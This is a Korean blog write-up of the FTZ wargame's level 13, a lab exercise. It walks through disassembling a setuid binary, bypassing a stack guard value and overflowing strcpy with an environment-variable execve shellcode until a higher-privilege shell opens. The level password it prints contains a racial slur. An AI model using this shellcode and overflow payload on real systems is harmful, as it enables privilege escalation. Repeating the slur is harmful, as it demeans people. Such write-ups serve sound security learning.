[FTZ] Level 13

Sisyphus·2022년 7월 15일

FTZ

목록 보기
23/30
[level13@ftz level13]$ cat hint

#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

cat 명령어로 hint를 출력해보면 소스코드가 출력됩니다. 해석을 해보면


main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );	// ruid와 euid모두 3094로 설정
   if(argc > 1)
   strcpy(buf,argv[1]);	   // argv[1]을 buf에 복사

   if(i != 0x1234567) {    // i가 0x1234567이 아니면
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);			  // 프로그램 종료
   }
}

strcpy() 함수를 보면 크기에 제한 없이 buf에 값을 복사하고 있어서 버퍼 오버플로우가 발생합니다.


공격을 위해 메모리 구조를 분석해보면

[level13@ftz level13]$ gdb -q attackme 
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>:	push   ebp
0x080484a1 <main+1>:	mov    ebp,esp
0x080484a3 <main+3>:	sub    esp,0x418
0x080484a9 <main+9>:	mov    DWORD PTR [ebp-12],0x1234567	// i = 0x1234567
0x080484b0 <main+16>:	sub    esp,0x8
0x080484b3 <main+19>:	push   0xc16				// 3094 
0x080484b8 <main+24>:	push   0xc16				// 3094
0x080484bd <main+29>:	call   0x8048370 <setreuid>	// setreuid(3094, 3094)
0x080484c2 <main+34>:	add    esp,0x10
0x080484c5 <main+37>:	cmp    DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>:	jle    0x80484e5 <main+69>
0x080484cb <main+43>:	sub    esp,0x8
0x080484ce <main+46>:	mov    eax,DWORD PTR [ebp+12]	// eax = argv[0] 
0x080484d1 <main+49>:	add    eax,0x4					// eax = argv[1]
0x080484d4 <main+52>:	push   DWORD PTR [eax]			// argv[1]
0x080484d6 <main+54>:	lea    eax,[ebp-1048]			// eax = buf[1024]
0x080484dc <main+60>:	push   eax						// buf[1024]
0x080484dd <main+61>:	call   0x8048390 <strcpy>		// strcpy(buf, argv[1])
0x080484e2 <main+66>:	add    esp,0x10
0x080484e5 <main+69>:	cmp    DWORD PTR [ebp-12],0x1234567	// compare i, 0x1234567
0x080484ec <main+76>:	je     0x804850d <main+109>			// 같으면 main+109로 jump
0x080484ee <main+78>:	sub    esp,0xc
0x080484f1 <main+81>:	push   0x80485a0					// " Warnning: Buffer Overflow !!! \n"
0x080484f6 <main+86>:	call   0x8048360 <printf>			// printf(" Warnning: Buffer Overflow !!! \n")
0x080484fb <main+91>:	add    esp,0x10
0x080484fe <main+94>:	sub    esp,0x8
0x08048501 <main+97>:	push   0xb						// 11
0x08048503 <main+99>:	push   0x0						//0
0x08048505 <main+101>:	call   0x8048380 <kill>			// kill(0, 11)
0x0804850a <main+106>:	add    esp,0x10
0x0804850d <main+109>:	leave  
0x0804850e <main+110>:	ret    
0x0804850f <main+111>:	nop    
End of assembler dump.

메모리 구조를 그려보면

NOP[1036] + 0x1234567 + NOP[12] + Shellcode_addr[4] 구조로 버퍼 오버플로우 공격을 하면 될거 같습니다.


먼저 환경변수에 shellcode를 등록해보면

[level13@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

다음으로 환경변수 주소를 출력해보면

[level13@ftz tmp]$ ./getenv 
Shellcode: 0xbffffc21

Shellcode: "\x21\xfc\xff\xbf"


이제 익스플로잇 코드를 짜보면

NOP[1036] + 0x1234567 + NOP[12] + Shellcode_addr[4]
`python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x21\xfc\xff\xbf"'`

익스플로잇 코드를 실행시켜보면

[level13@ftz level13]$ ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x21\xfc\xff\xbf"'`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)

쉘이 떴습니다.


패스워드를 출력해보면

sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".

0개의 댓글